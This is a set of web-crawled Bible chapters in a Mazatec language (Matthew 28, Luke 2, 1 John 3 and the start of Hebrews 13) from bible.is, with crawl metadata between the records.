kìi̱ tsincha-xkó'nchi'tá‑la̱ ko̱ kitsabangií ndsa̱ko̱ nga kijtsexkón. 10Jesús kitsó‑la̱: ―Kì tà chjàn skon jiòn. Tangió ko̱ ti̱kjí'nchré jñà xi̱ta̱ xàngia̱ mé‑ni nga katafì‑ni ya̱ ján Galilea. Ko̱ ya̱á ske̱ india‑na. 11'Kia̱ nga ijye kijì jñà íchjín kìi̱, jñà chíchàn ra isikìnda̱ ya̱ ñánda̱ nga isìhi'nde Jesús, kijì i'ka ya̱ na̱xi̱ndá Jerusalén nga kiì 'kéna̱jmí‑la̱ jñà xi̱ta̱ ítjòn‑la̱ na̱'mì nga'tsì kjoa̱ ra kjomà. 12Jñà xi̱ta̱ ítjòn‑la̱ na̱'mì kiíkáko̱ó jñà xi̱ta̱ jchínga 'tse̱ xi̱ta̱ judío nga tsajo̱óya‑ni nga tse to̱n kitsjà‑la̱ jñà chíchàn, 13kitsò‑la̱: ―Ko̱'sín tixó: Jñá xi̱ta̱ ra kotá'yá'ta‑la̱ 'jií'ká chijé ijo‑la̱ Jesús 'kia̱ nga ni̱tje̱n, 'kia̱ nga tjitsjafè‑ji̱n ra ji̱n. 14Tsa kji̱'nchré jè xi̱ta̱xá ítjòn 'tse̱ nangi Judea, ji̱ín kohíjchon‑ji̱n, mé‑ni nga mì kì kjo̱hi'in tsjá‑no ra jiòn. 15Jñà chíchàn iskábé to̱n ra ki'tsì‑la̱, ko̱ 'koa̱á 'sín kitsò koni 'sín tsi'kìn‑la̱. Ko̱ jñà xi̱ta̱ judío, takó 'koa̱á 'sín 'béna̱jmí 'én kìi̱ skanda 'ndi̱‑ni̱. 16Jñà xi̱ta̱ ra kotá'yá'ta‑la̱ Jesús ra tejngo ma‑isa‑ni, ya̱á kijì ya̱ ján Galilea ya̱ nindo ñánda̱ nga ko̱kitsò‑la̱ Jesús. 17'Kia̱ nga kijtse, tsincha-xkó'nchi'tá‑la̱ Jesús nga kijtsexkón. Tanga tjín i'ka ra mì kì ndi̱to̱n kjokjiín‑la̱ tsa jé Jesús. 18'Kia̱á kijì Jesús nga tsasèn'ta chraña-isa‑la̱, kitsò‑la̱: ―Ijyeé 'a̱án ki'tsì ijye‑na nga'ñó nga 'a̱n kotexóma ya̱ ngajmi ko̱ ya̱ a̱'ta nangi. 19Tangió ya̱ nga tíjngo ñánda̱ tjín xi̱ta̱ ya̱ i̱sà'nde, 'tèna̱jmíya‑la mé‑ni nga 'a̱n katakotá'yá'ta‑na, ko̱ a̱'ta 'tse̱ 'í‑la̱ Na̱'ín‑ná ta̱ti̱ndá‑no, ko̱ a̱'ta 'tse̱ 'í‑la̱ I'ndí‑la̱ Nainá ko̱ a̱'ta 'tse̱ 'í‑la̱ Inìma̱ Tsje‑la̱ Nainá; 20ta̱kón‑ya‑la nga katasíhitjasòn ijye kjo̱téxoma ra 'a̱n ítsi'kenájmíya‑no. Ko̱'sín katasijin‑no nga 'a̱n, ya̱á kóti̱jnako̱ ki'ta‑no nga ni̱chjin nchijòn skanda 'kia̱ nga kje̱he'tà i̱sà'nde. Ko̱'sín katama.\nSan Mateo 28","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Matt\/28","date":"2013-12-08T18:35:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163785316\/warc\/CC-MAIN-20131204132945-00076-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000077486,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"maa_Latn_score\": 1.0000077486038208}","num_words":463,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.239,"stopwords_ratio":0.322,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Koi na̱chrjein k'e̱ nga tjín‑la̱ xá ítjòn César Augusto tsjachrje jngoò o̱kixi̱ nga ngats'iì xi̱ta̱ na̱xa̱ndá xi otíxoma‑la̱ Roma, xo̱jo̱ón si̱t'aà 'ín‑la̱. 2Jè xo̱jo̱n censo xi kisindaà ítjòn k'e̱ nga tíjna gobernador xi̱ta̱ xi 'mì Cirenio ján i̱'nde ñánda 'mì Siria. 3Kiì yije xi̱ta̱ nga kiì kít'aà xo̱jo̱n yijo‑la̱ nga jngoò ìjngoò na̱xa̱ndá‑la̱ xi chja̱‑ne. 4José itjo‑ne Nazaret, na̱xa̱ndá ts'e̱ Galilea, kiì nangui ñánda 'mì Judea ya̱ na̱xa̱ndá Belén ñánda kits'iìn xi̱ta̱ ítjòn xi David ki'mì nga jè José, tje̱‑la̱ ts'e̱ David‑né. 5Kiì kít'aà xo̱jo̱n yijo‑la̱; ti̱koa̱á kiì jè María, chjo̱ón‑la̱ xi tíjna'ñó‑la̱ nga jè ki̱xan‑ko̱, ta̱nga jyeé ki'ndí 'ya. 6K'e̱ nga jye títsa̱jna Belén, María ijchò na̱chrjein‑la̱ nga kits'iìn ki'ndí‑la̱. 7Kits'iìn ki'ndítjòn‑la̱ xi ndí ki'ndí x'i̱n; kisìkájté nikje‑la̱; ya̱ kisìkánaya kaxa̱ ñánda kjèn‑ya cho̱, nga mì ti̱ kiì tjín‑ne i̱'nde ya̱ ni'ya ñánda ma nìkjáya. 8Ya̱ chrañàt'aà‑la̱ Belén títsa̱jna paxtò xi nchisíkinda̱ cho̱ orrè‑la̱ nga ni̱tje̱n. 9Tà ni̱to̱ón ijchòkon jngoò àkja̱le̱‑la̱ Nainá. Jè kjoa̱jeya‑la̱ Nainá xi 'ñó ote kji, kisìhiseèn yije kóho̱kji jngoò itjandiì ñánda títsa̱jna jñà paxtò. K'e̱ nga kijtseè, tsí ndaà kitsakjòn. 10Jè àkja̱le̱ kitsò‑la̱: ―Kiì tsakjoòn‑jèn; 'a̱n, koií xá j'i̱‑na nga síkí'nchré jngoò‑nò 'én xi̱tse̱ xi ndaà tsò xi 'ñó kjo̱tsja‑la̱ ngats'iì na̱xa̱ndá: 11I̱'ndei̱ kats'iìn jngoò ki'ndí ya̱ na̱xa̱ndá‑la̱ David jè xi ko̱chrjekàjiìn‑ná kjo̱'in, jè xi Cristo, [xi̱ta̱ xi xó kisìkasén‑ne Nainá], nga jè ko̱tìxoma‑ná. 12Tjín jngoò seña nga kixi̱ kjoa̱: sa̱kò jngoò‑nò ki'ndí xi tsjájtéjiìn nikje‑la̱; kjinaya kaxa̱ ñánda kjèn‑ya cho̱. 13Ti̱k'e̱‑ne kjìn jchán àkja̱le̱ tsatsejèn‑kjoò‑ìsa xi inchrobà‑ne ngajmiì xi 'nga kisìkíjna Nainá. Kitsò: 14Nainá kàtas'e‑la̱ kjoa̱jeya ján ngajmiì; ko̱ i̱ i̱t'aà nangui, 'nchán kàtas'e kjoa̱, i̱t'aà ts'e̱ xi̱ta̱ xi tjín‑la̱ kjo̱ndaà‑la̱ Nainá. 15K'e̱ nga kiì‑ne jñà àkja̱le̱ ján ngajmiì, jñà paxtò kitsò‑la̱ xíkjín: ―Tíkjiaán skanda Belén nga jcha̱á kjoa̱ xi kòma koni s'ín kàsìkí'nchré‑ná Na̱'èn‑ná. 16Ni̱to̱ón kiì jñà paxtò ján Belén; k'e̱ nga ijchò, kisakò‑la̱ ñánda tíjna María ko̱ José, koa̱ jè ki'ndí, kjinaya kaxa̱ ñánda kjèn‑ya cho̱. 17K'e̱ nga kijtseèxkon ki'ndí jè, tsibéno̱jmí yije koni s'ín kitsò jè àkja̱le̱ i̱t'aà ts'e̱ ki'ndí. 18Ngats'iì xi̱ta̱ xi kiì'nchré koni s'ín kitsò jñà paxtò tà k'oa̱á komà‑la̱. 19Ta̱nga jè María ya̱á tsibíjiìn yije i̱jiìn ini̱ma̱‑la̱ jñà 'én xi kis'eno̱jmí‑la̱. 'Ñó kisìkítsjeèn‑jiìn kjoa̱ koi. 20Kiì ìjngoò k'a‑ne jñà paxtò; jeya tsachrje ti̱koa̱ ndaà kisìkíjna Nainá ngats'iì kjoa̱ xi kiì'nchré ko̱ xi kijtseè, nga nguì k'oa̱á s'ín komà koni s'ín kis'eno̱jmí‑la̱. 21K'e̱ nga ijchò jiìn na̱chrjein nga kits'iìn ki'ndí jè, kisit'aà chi̱ba̱‑la̱ yijo‑la̱ kjoa̱ ts'e̱ circuncisión; Jesús kisit'aà 'ín‑la̱ koni s'ín kitsò àkja̱le̱‑la̱ Nainá k'e̱ nga ti̱sa̱ kisinaya'ma i̱ndso̱'ba̱ nea̱‑la̱. 22Ijchò na̱chrjein nga k'oa̱s'ín s'ín xi̱ta̱ koi, koni s'ín tíchja̱ kjo̱tíxoma‑la̱ Nainá xi kiskiì Moisés, mé‑ne jè María tsjeè kíjna‑ne nguixko̱n Nainá. Na̱chrjein koi, kiìko̱ Jesús i̱ngo̱ ítjòn ya̱ Jerusalén nga kisìnga̱tsja Nainá. 23K'oa̱á s'ín tjít'aà kjo̱tíxoma‑la̱ Nainá xi kiskiì Moisés: \"Ngats'iì ki'ndí x'i̱n xi jts'ín ítjòn, ts'e̱é Nainá, jè ko̱nga̱tsja.\" 24Xi̱ta̱ jchínga‑la̱ Jesús kiìko̱ kjo̱tjò‑la̱ nguixko̱n Nainá; jò tjo̱ni̱'ña̱ ko̱ tsà jò pichón koni s'ín tjín kjo̱tíxoma‑la̱ Nainá. 25Koi na̱chrjein ján Jerusalén tíjna jngoò xi̱ta̱ kixi̱ xi ndaà beèxkón Nainá, Simeón 'mì. Ti̱koa̱á tíkoña‑la̱ jè xi si̱ìkíjnandei̱í na̱xa̱ndá Israel; jè Simeón, ya̱á tíjnako̱ Ini̱ma̱ Tsjeè‑la̱ Nainá. 26Jè Ini̱ma̱ Tsjeè‑la̱ Nainá k'oa̱á s'ín tsibéno̱jmíya‑la̱ Simeón nga mìkiì ki̱yá skanda k'e̱ nga skoe̱xkon Cristo xi Nainá si̱ìkasén. 27Jè Ini̱ma̱‑la̱ Nainá kisìkasén Simeón ján i̱ngo̱ ítjòn Jerusalén. K'e̱ nga ijchòko̱ Jesús jñà xi̱ta̱ jchínga‑la̱ mé‑ne nga kisìkitasòn‑ne koni s'ín síjé kjo̱tíxoma‑la̱, 28Simeón kiskoé ki'ndí jè, tsohóya tsja; 'nga kisìkíjna Nainá. Kitsò: 29Na̱'èn, jyeé kòbitasòn 'én‑lè koni s'ín ki'mì‑ná, i̱'ndei̱, 'nchán kàtiyaà 'a̱n xi chi̱'nda‑lè ma. 30Jyeé kòbe‑na xkoaàn jè xi ko̱chrjekátjì‑ná kjo̱'in, 31jè xi kànìkíjna‑osin nguixko̱n ngats'iì na̱xa̱ndá, 32jè xi si̱ìhiseèn‑la̱ kjo̱hítsjeèn‑la̱ jñà xi̱ta̱ xi mìtsà xi̱ta̱ na̱xa̱ndá Israel. I̱t'aà ts'e̱ ki'ndí jè, na̱xa̱ndá‑lè Israel jeyaá kíjna. 33Jñà xi̱ta̱ jchínga‑la̱ Jesús tà k'oa̱á komà‑la̱ koni s'ín kitsò Simeón i̱t'aà ts'e̱ ki'ndí‑la̱. 34Simeón kisìjét'aà‑la̱ Nainá nga kàtasíchikon‑t'in; i̱kjoàn kitsò‑la̱ María, nea̱‑la̱ Jesús: ―I̱t'aà ts'e̱ ki'ndí jè, k'oa̱á s'ín tjínè‑la̱ nga kjìn xi̱ta̱ na̱xa̱ndá Israel ki̱tjojiìn kjo̱'in koa̱ kjìn ki̱xo̱jiìn. Seña‑la̱ Nainá kíjna 35mé‑ne nga jcha̱‑la̱ kó s'ín tjín kjo̱hítsjeèn‑la̱ nga jngoò ìjngoò xi̱ta̱, ta̱nga kjìn xi̱ta̱ xi mìkiì ko̱kjeiín‑la̱; ti̱koa̱á ngaji̱, k'oa̱á s'ín s'e̱‑lè kjo̱'on‑takòn koni tsà jngoò ki̱cha̱ ndojò ko̱tokjá ini̱ma̱‑lè. 36Ti̱koa̱á ya̱á tíjna chjo̱ón Ana xi chja̱ya 'én‑la̱ Nainá, tsòti‑la̱ Fanuel xi tje̱‑la̱ Aser. Jyeé 'ñó xi̱ta̱ jchínga. Itoò nó tsibìjnako̱ x'i̱n‑la̱. 37Na̱chrjein koi, jè chjo̱ón Ana kò ñijòn kaàn ko̱ ñijòn nó tjín‑la̱ nga tíjna ka'àn. Ya̱á bìjnaya na̱chrjein inchijòn ya̱ ndi̱tsin i̱ngo̱ ítjòn; ko̱ na̱chrjein ko̱ ni̱tje̱n beèxkón Nainá; bítsi'ba‑la̱ koa̱ bìjnachjan. 38Ti̱jè‑ne hora, chjo̱ón jè ijchò kasìjnat'aà chrañà‑la̱ xi̱ta̱ jchínga‑la̱ Jesús; kitsjaà‑la̱ kjo̱ndaà Nainá; kiìchja̱‑la̱ ngats'iì xi̱ta̱ i̱t'aà ts'e̱ ki'ndí jè, jñà xi ti̱koa̱ nchikoña‑la̱ nga ki̱tjotjì yije na̱xa̱ndá xi chja̱‑ne Jerusalén. 39José ko̱ María, k'e̱ nga jye kisìhitasòn yije koni s'ín tíchja̱ kjo̱tíxoma‑la̱ Nainá, kiì ìjngoò k'a‑ne ján Galilea ya̱ na̱xa̱ndá‑la̱ Nazaret. 40Ki'ndí jè tímajchínga; tís'e‑la̱ nga'ñó i̱jiìn ini̱ma̱‑la̱; ti̱koa̱á ìsa̱ ndaà tímachi̱ya‑la̱; ya̱á tíjnako̱ kjo̱ndaà‑la̱ Nainá. 41Jñà xi̱ta̱ jchínga‑la̱ Jesús, xki̱ nó fì ya̱ Jerusalén k'e̱ nga bitjo s'eí Paxko̱. 42Jesús, k'e̱ nga jye tjín‑la̱ tejò nó ti̱koa̱ kiì ján Jerusalén koni s'ín choòn kjo̱tíxoma ts'e̱ s'eí Paxko̱. 43K'e̱ nga inchrobà‑ne xi̱ta̱ nga jyehet'aà s'eí, jè Jesús ya̱á tsibìjna Jerusalén; koa̱ jñà xi̱ta̱ jchínga‑la̱ mìkiì kisijiìn‑la̱ tsà ya̱ tsibìjna. 44Jngoò na̱chrjein chinchimaya ndi̱yá. Maá‑la̱ tsà ya̱á tsóhojiìn‑la̱ jñà xi̱ta̱ xi nchifì‑ne. K'e̱ nga tsohótsjijiìn‑la̱ xíkjín ko̱ xi̱ta̱ xi beèxkon, 45mìkiì kisakò‑la̱. K'e̱é kiì ìjngoò k'a ján Jerusalén nga kiì kátsji. 46K'e̱ nga komà jàn na̱chrjein nga nchihótsji, kisakò‑la̱ ya̱ ndi̱tsin i̱ngo̱ ítjòn; tíjnajiìn‑la̱ xi̱ta̱ xi okóya kjo̱tíxoma‑la̱ Nainá; tí'nchré‑la̱ ti̱koa̱ tíkjònangui‑la̱. 47Ngats'iì xi̱ta̱ xi nchi'nchré‑la̱ tà k'oa̱á komà‑la̱ jè kjo̱hítsjeèn xi tjín‑la̱ koni s'ín tíchja̱. 48Jñà xi̱ta̱ jchínga‑la̱, k'e̱ nga kijtseè nga ya̱ tíjna, ti̱koa̱á tà k'oa̱á komà‑la̱; jè nea̱‑la̱ kitsò‑la̱: ―Ji̱ na̱'èn, ¿mé‑ne nga ko̱s'ín nìko̱‑náje̱n? Na̱'èn‑lè ko̱ 'a̱n tímakájno‑naje̱n nga kichijì, titsa̱binchaàtsji‑lèje̱n. 49Jesús kitsò: ―¿Mé‑ne nga binchaàtsji‑ná? ¿A mì tíjiìn‑nò nga tjínè‑na nga ya̱ kóti̱jna ni'ya‑la̱ Na̱'èn‑na̱? 50Ta̱nga jñà xi̱ta̱ jchínga‑la̱ mìkiì jahas'en‑jiìn‑la̱ jè 'én xi kitsò Jesús. 51Jesús, kiì ìjngoò k'a‑ne ján Nazaret ko̱ nea̱‑la̱ ko̱ na̱'èn‑la̱; Jesús ndaà kisìkitasòn‑la̱ xi̱ta̱ jchínga‑la̱. Jè nea̱‑la̱ tà ya̱á tsibíjiìn‑ikon ini̱ma̱‑la̱ ngats'iì kjoa̱ koi. 52Jesús, tímajchínga koa̱ na̱chrjein inchijòn, ìsa̱ ndaà tímachi̱ya‑la̱; ti̱koa̱ tís'e‑la̱ kjo̱ndaà‑la̱ Nainá ko̱ ts'e̱ xi̱ta̱.\nSan Lucas 2","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Luke\/2","date":"2013-12-11T17:58:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164040899\/warc\/CC-MAIN-20131204133400-00076-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000083447,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"maa_Latn_score\": 1.0000083446502686}","num_words":1017,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.276,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Nda katasijin‑no, 'ñó nda matsjake‑ná Nainá ra Na̱'ín‑ná ma, 'koa̱á ma‑nì nga i̱xti‑la̱ tsó‑ná. Ko̱ ngi kixi̱ kitií kjoa̱ nga i̱xti‑la̱ Nainá 'mì‑ná. 'Koa̱á ma‑ni nga jñà xi̱ta̱ i̱sà'nde, mì kì makjiín‑la̱ tsa i̱xti‑la̱ Nainá 'mì‑ná, tà nga̱tjì‑la̱ nga̱ jñà xi̱ta̱ kìi̱, mì kì makjiín‑la̱ ra jñà, a̱'ta 'tse̱ Nainá. 2Jiòn ndí 'ndsé ra matsjake̱‑no, 'ndi̱ 'ndi̱ ijyeé i'ndí‑la̱ Nainá 'mì‑ná. Tanga kjè tsa nda bakón‑ná Nainá kó'sín kjòn ka̱meé ra a̱skan‑nioo̱. Tanga ijyeé tjíjin‑ná nga 'koa̱á 'sín kjòn ka̱meé koni 'sín 'ki ra jè Jesucristo 'kia̱ nga ki̱jchò ni̱chjin nga jè ra kj'i̱í india‑ni; nga̱ jcha̱xkon‑ná ra jè koni 'sín 'ki kjòn‑ni. 3Nga'tsì xi̱ta̱ ra ko̱'sín i̱nchikoñá nga 'koa̱á 'sín kjòn ko̱ma koni 'sín 'ki ra jè Jesucristo, ni̱chjin nchijón‑ní nga tsje i̱nchisíjchá ijo‑la̱ koni 'sín nga xi̱ta̱ tsje ra jè Jesucristo. 4Nga'tsì xi̱ta̱ ra bátsji‑jé, kondra̱ fì‑la̱ kjo̱téxoma‑la̱ Nainá. 'Kia̱ nga ko̱'sín fatsji‑jé iseé, jé kjo̱téxoma‑la̱ Nainá tjinachrjengieé. 5Jiòn, ijyeé tjíjin‑no nga jè Jesucristo kií xá 'ji‑ni nga jè faháxìn‑ná jñà jé ra tjín‑ná. Ko̱ 'ya‑najiòn nga jè Jesucristo ni̱jngo jé tsakátsji ra jè. 6Nga'tsì xi̱ta̱ ra Cristo tíjnako̱, mì tsa bátsji-jé‑jìn; tanga jñà xi̱ta̱ ra bátsji‑jé, takó kjè kì bexkon ko̱ ti̱'koa̱á mì kì tjíjin‑la̱ yá‑ni ra 'mì Jesucristo. 7Jiòn, ra ndí i̱xti‑na̱ xin‑no, kì bi'nde nga yá ra sko̱ónda̱cha̱‑no. Jè xi̱ta̱ ra kjoa̱kixi̱ 'sín ya̱ ngixko̱n Nainá, xi̱ta̱ kixi̱‑ní, koni 'sín nga xi̱ta̱ kixi̱ jè Cristo. 8Tanga jè xi̱ta̱ ra ki'ta ni̱chjin tíbátsji‑jé, 'tse̱ xi̱ta̱‑ni̱í‑ní. Nga̱ jè xi̱ta̱‑ni̱í, 'koa̱á 'sín tíbátsji‑jé ra jè skanda ti̱'sa̱ tjà'tsin‑la̱ i̱sà'nde. Ko̱ kií xá 'ji jnchro‑ni Jesucristo ra I'ndí‑la̱ Nainá nga jè ma‑la̱ si̱ìkitsón‑ña jè kjoa̱'cho ra 'sín jè xi̱ta̱‑ni̱í. 9Nga'tsì xi̱ta̱ ra ijye Nainá isìkaatjìya‑la̱ nga i'ndí‑la̱ Nainá ma, mì tsa ti̱ ya̱ tjítsa̱jnajin‑ni jé. Nga̱ ijyeé ya̱á tíjnajin inìma̱‑la̱ jè Inìma̱ Tsje‑la̱ Nainá. Ko̱ mì kì ti̱ ma‑ni nga koa̱àtsji-jé‑isa, nga̱ ijyeé i'ndí‑la̱ Nainá‑ní. 10'Koa̱á 'sín ma‑nì nga 'yaxkon‑la̱ yá‑ní ra i̱xti‑la̱ Nainá ko̱ yá‑ní ra i̱xti‑la̱ xi̱ta̱‑ni̱í; nga'tsì xi̱ta̱ ra mì kì ma‑la̱ síhitjasòn kjoa̱kixi̱ 'tse̱ Nainá, ti̱'koa̱ mì kì tsjake 'sín xi̱ta̱ xákjén ra ti̱'koa̱ a̱'ta 'tse̱ Cristo makjiín‑la̱, mì tsa i'ndí‑la̱ Nainá‑jìn. 11Nga̱ 'koa̱á 'sín tíchja̱ jè 'én ra ijye ina'yá jiòn 'kia̱ nga ti̱'sa̱ kjokjiín‑no nga 'sa̱ ítjòn nga tsò: Ngásòn ngáya tsjacha 'sie̱én xàngie̱é. 12Mì kì ko̱'sín 'sie̱én koni 'sín ki'sìn jè xi̱ta̱ ra ki'mì Caín nga jè xi̱ta̱‑ni̱í kijì'ta‑la̱ nga isì'ken 'ndse̱. ¿Mé‑nì nga isì'ken‑nì 'ndse̱? Tà kií nga̱tjì‑la̱ nga jè 'ndse̱, xi̱ta̱ kixi̱‑ní ya̱ ngixko̱n Nainá ko̱ jè Caín 'choó tjín kjoa̱ ra 'sín ra jè. 13'Koa̱á ma‑ni nga ko̱'sín tíxin‑no jiòn ndí 'ndsé, kì tà chjàn maxkón‑no tsa jtike‑no xi̱ta̱ i̱sà'nde ra mì kì makjiín‑la̱ 'én‑la̱ Nainá. 14Jién ijyeé tjíjin‑ná nga ijyeé ítjo̱kajieén ya̱ ndi̱yá kjo̱biya ra ya̱ timayeé kjotseé ko̱ ijyeé tjín‑ná kjo̱binachon ra mì kì fehe'ta skanda tà kjiá‑nioo̱. Nga̱ ijyeé ko̱'sín nda tsjacheé jñà xàngie̱é ra ti̱'koa̱ a̱'ta 'tse̱ Cristo makjiín‑la̱. Jè xi̱ta̱ ra mì kì tsjake xákjén, ndi̱yá kjo̱biyaá tsá'baya jè inìma̱‑la̱. 15Nga'tsì xi̱ta̱ ra jtike xi̱ta̱ xákjén, 'koa̱á 'sín jngoya‑ila̱ koni tsa xi̱ta̱ sí'ken. Jiòn, ndaá 'ya, jè xi̱ta̱ ra ko̱'sín xi̱ta̱ sí'ken, mì tsa jè kjo̱binachon ra mì fehe'ta tísíjchájin ijo‑la̱. 16Jién, 'koa̱á 'sín 'ya‑ná mé ra 'mì kjo̱tsjacha 'kia̱ nga jè Jesucristo kitsjá kjo̱tjò ijo‑la̱ nga 'ken ngajo‑ná. Jién, 'koa̱á ti̱'sín machjeén nga 'sie̱én ra jién ra a̱'ta 'tse̱ xàngie̱é koni 'sín ki'sìn jè Cristo. 17Tsa tjín jngo xi̱ta̱ ra tjín‑la̱ jñà tsajmì ra tímachjeén ki'tá‑ná, tsa ske̱ jngo xi̱ta̱ xákjén ra ti̱'koa̱ a̱'ta 'tse̱ Cristo makjiín‑la̱ nga tsìn‑la̱ tsajmì ra machjeén‑la̱, tsa mì kì ma‑la̱ nga ko̱si̱ko̱ jè xi̱ta̱ xákjén ra a̱'ta 'tse̱ tsajmì ra tsìn‑la̱, mì tsa kixi̱‑ni kjoa̱ nga kjo̱tsjacha‑la̱ Nainá tíjnajin ya̱ inìma̱‑la̱. 18Jiòn ra ndí i̱xti‑na̱ xin‑no, tsjacha 'tio̱òn xàngio̱o, kì tà 'én ra ko̱'sín nakjoá jiòn, ngi ndaá kata'ya kiti‑la̱ kó'sín nga tsjacha 'sio̱on jñà xàngio̱o nga ti̱si̱ko̱'ta mé ra machjeén‑la̱ mé‑ni nga kata'ya‑la̱ nga kixi̱ kitií kjoa̱ nga nda tsjacha jiòn xàngio̱o. 19'Kia̱ nga ko̱'sín i̱nchi'nié, 'kia̱á jcha̱ kiti‑ná ra jién nga kixi̱í kjoa̱ nga 'koa̱á 'sín i̱nchiníjché ijo‑ná koni 'sín tjín kjoa̱ kixi̱‑la̱ Nainá ko̱ níkíjna'nchán‑ná inìma̱‑ná ya̱ ngixko̱n Nainá. 20Ni̱'sín jè inìma̱‑ná tíbánè jé‑ná, tanga jè Nainá, isa̱á nda tjíjin‑la̱ ra jè nda mí 'koa̱‑ni koni jè inìma̱‑ná. Nga̱ jè Nainá isa̱á nda tsijen ijye‑la̱ nga'tsì kjoa̱ ra i̱nchi'nié. 21Jiòn ndí 'ndsé ra matsjake̱‑no, tsa jè inìma̱‑ná mì tsa ti̱ mé kjoa̱'cho tíbánè‑ná, 'ñó tjín takén ya̱ ngixko̱n Nainá. 22Tsa mé ra si̱jé‑lá Nainá, maá‑la̱ tsjá ijye‑ná tà mé kjo̱nda‑ni; nga̱ nihitjasón‑ná kjo̱téxoma‑la̱, ko̱ 'koa̱á 'sín 'nié koni 'sín sasén‑la̱ ra jè. 23Jè kjo̱téxoma‑la̱ Nainá ra mejèn‑la̱ nga nda si̱hitjasén: jé‑ní nga nda katakjiín‑ná a̱'ta 'tse̱ Jesucristo ra I'ndí‑la̱ ma, ti̱'koa̱ nga ngásòn ngáya tsjacha 'sie̱én xàngie̱é koni 'sín ijye tsatéxoma‑ná Cristo. 24Jè xi̱ta̱ ra síhitjasòn kjo̱téxoma‑la̱ Nainá, ya̱á tíjnako̱ Nainá, ko̱ jè Nainá ya̱á tíjnajin inìma̱‑la̱ xi̱ta̱ ra̱kìi̱. 'Koa̱á 'sín ma‑ni nga 'yeé nga Nainá ya̱á tíjnako̱‑ná tà nga̱tjì‑la̱ nga̱ ijyeé kitsjá‑ná jè Inìma̱ Tsje‑la̱.\n1 Juan 3","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/1John\/3","date":"2013-12-12T19:17:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164677368\/warc\/CC-MAIN-20131204134437-00059-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"maa_Latn_score\": 1.0000098943710327}","num_words":813,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.24,"stopwords_ratio":0.341,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Kì tà chjàn jmio koni 'sín nga tsjacha xàngio̱o ra a̱'ta 'tse̱ Cristo makjiín‑no. 2Kì tà chjàn niìjchaàjion koni 'sín nga chjíbétjò xi̱ta̱ ra bijchójkon‑no. Nga̱ jñà xi̱ta̱ ra ko̱'sín ma‑la̱ kjábétjò xi̱ta̱, skanda tjín i'ka ra mì be‑ni tsa ìkja̱li̱‑la̱ Nainá‑ní ra ko̱'sín iskábétjò. 3Ti̱kítsjen a̱'ta 'tse̱ jñà xi̱ta̱ ra nda̱yá títsa̱jna, koni tsa ya̱ titsa̱jnako̱‑te a̱ya nda̱yá. Ko̱ ti̱kítsjen‑te a̱'ta 'tse̱ xi̱ta̱ ra i̱nchi'yaton koni tsa jiòn kjòn‑ni ra i̱nchi'yaton‑no. 4'Ñó nda jcha̱xkón ijye jè kjo̱téxoma ra 'tse̱ kjoa̱bixan; jiòn ra ijye tsixan jiòn, jcha̱xkón ijo‑no, nga mì ma kjoa̱chijngi 'sia̱an. Nga̱ jñà ra ta sískáko̱ ijo‑la̱ nga kjoa̱chijngi 'sín, jè Nainá tsjá‑la̱ kjo̱hi'in. 5Kì tà jè níkájno nga isa̱ tse to̱n mejèn‑no nga 'se̱‑no. Katajngo takòn koni 'ki tjín‑no, nga̱ Nainá, 'koa̱á 'sín tsò: \"Mì kì tsjin-tákon‑la, ko̱ ni̱kjiá sikíjna ta̱jngo‑la.\" 6'Koa̱á ma‑ni nga ngi tjíjngo takén nga ma kixé: Jè Na̱'ín‑ná basìko̱‑na, mì kì tsakjon‑jiàa̱n tsa mé ra si̱ìko̱‑na xi̱ta̱. 7Ti̱kítsjen jñà xi̱ta̱ ra tsinchá ndi̱yá‑no nga tsi'kéna̱jmíya‑no 'én‑la̱ Nainá; ti̱'koa̱ ti̱kítsjen kó'sín kisíjchá ijo‑la̱ ko̱ chjíngi‑la koni 'sín nga kjokjiín‑la̱. 8Jesucristo mì kì fahatjìya‑la̱, ti̱jé‑ni ngojña̱, ko̱ ti̱jé‑ni 'ndi̱ 'ndi̱, ko̱ ti̱jé‑ni skanda ta mé ni̱chjin‑nioo̱. 9Kì tà chjàn bi'nde‑la ijo‑no nga xìn ndi̱yá fìko̱‑no nga bí'ndo̱‑no jè kjo̱bítsjen ra kj'ií 'sín bakón‑ya ra mì kì 'yaxkon‑la̱. Isa̱á nda‑ni nga nda kata'se‑la̱ nga'ñó inìma̱‑no a̱'ta 'tse̱ kjo̱nda‑la̱ Nainá, mì 'koa̱‑ni tsa a̱'ta 'tse̱ tsajmì ra ma chine; nga̱ ni̱mé nga'ñó sa̱kò‑la̱ inìma̱‑la̱ jñà ra ko̱'sín tjín kjoa̱ títsa̱jin. 10Jién, tíjna‑ná [Jesús ra 'ken‑tjì ngajo‑ná a̱'ta 'tse̱ jé‑ná] koni jngo kjo̱tjò ra kjonga̱tsja Nainá. Tanga jñà xi̱ta̱ ra takó ya̱ síxá a̱'ta 'tse̱ kjoa̱ jchínga ra 'tse̱ Ni'ya Tsje ra nikje, tsìn‑la̱ kjo̱hixi̱ nga ya̱ tjábé‑la̱ kjo̱nda. 11Nga̱ jè na̱'mì ítjòn ra ya̱ síxá, ya̱á fìko̱ jè jní‑la̱ cho̱ ra biya ya̱ i̱'nde 